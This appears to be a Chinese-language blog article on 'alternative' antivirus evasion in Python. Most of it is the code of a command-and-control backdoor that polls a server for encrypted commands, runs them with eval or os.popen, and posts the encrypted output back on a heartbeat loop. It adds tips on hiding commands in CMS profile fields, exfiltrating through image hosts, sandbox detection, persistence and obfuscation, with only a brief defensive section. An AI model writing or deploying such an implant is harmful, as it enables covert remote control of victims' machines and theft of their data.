python的另类免杀
字数 690 2025-08-06 20:12:36
Python另类免杀技术详解
0x01 Python优缺性
Python在安全领域的优势:
- 语法简洁,开发效率高
- 丰富的第三方库支持
- 跨平台特性
- 解释型语言特性便于动态执行
缺点:
- 依赖环境明显
- 打包体积较大
- 部分杀软对Python脚本敏感
0x02 免杀环境准备
基础环境:
- Python 3.x
- requests库
- 自定义加密模块(lljiam, lljiem)
0x03 免杀实践
一、核心免杀技术
1. 加密分离加载技术
核心原理:
- 将恶意代码加密存储在看似正常的载体中
- 运行时动态解密执行
- 通过心跳机制保持持久化
关键组件:
- 加密模块(lljiem)
- 解密模块(lljiam)
- 通信模块
2. 工作流程
- 初始化阶段:
def getml():
r = requests.get(url='http://127.0.0.1:86/cookie.php')
ml = r.text.split('|')[0]
sjc = r.text.split('|')[1]
cpu = r.text.split('|')[2]
app = lljiem.Eternal()
ml = app.api_jie(sc=ml, sjc=sjc, xzys='suansuan', cpuzy=cpu)
return ml, sjc
- 命令执行阶段:
def klj_eval(ml):
try:
return str(eval(ml))
except:
try:
return str(os.popen(ml).read())
except:
return 'error'
- 结果回传阶段:
def fshx(hx):
ml = hx
app = lljiam.Eternal()
test = app.api_jia('2', ml, zfc='suansuanadmin') # 加密结果
headers = {
"cookie": "id=" + str(test[1]) + ';' + 'time=' + str(test[2])
}
data = {
"data": test[0]
}
requests.post(url='http://127.0.0.1:86/cookie.php', data=data, headers=headers)
- 心跳维持机制:
def ks():
sjc1 = 0
while True:
time.sleep(2)
mls = getml()
ml = mls[0]
if ml == 'exit()':
sys.exit(0)
else:
if sjc1 != mls[1]:
hx = klj_eval(ml)
fshx(hx)
sjc1 = mls[1]
else:
pass
time.sleep(60) # 60秒心跳间隔
二、高级利用方式
- CMS隐藏通信:
- 将加密命令隐藏在用户个人简介等字段
- 通过正常HTTP请求获取指令
- 图床数据回传:
- 将执行结果嵌入图片
- 上传至图床服务
- 控制端从图床获取结果
- 时间戳验证:
sjc1 != mls[1] # 确保不重复执行相同命令
0x04 优化方向
- 通信协议优化:
- 使用HTTPS加密通信
- 模仿正常API请求
- 执行环境检测:
- 沙箱检测
- 调试器检测
- 持久化机制:
- 多种自启动方式
- 进程守护
- 代码混淆:
- 变量名随机化
- 控制流混淆
0x05 防御建议
- 监控Python异常行为:
- 异常网络连接
- 动态代码执行
- 深度检测:
- 内存扫描
- 行为分析
- 限制Python权限:
- 敏感操作权限控制
- 脚本执行审计
附录:关键代码片段
- 主循环:
if __name__ == '__main__':
ks() # 启动主循环
- 加密模块接口:
app.api_jie(sc=ml, sjc=sjc, xzys='suansuan', cpuzy=cpu)
- 解密模块接口:
app.api_jia('2', ml, zfc='suansuanadmin')
注意:本技术文档仅供学习研究使用,请勿用于非法用途。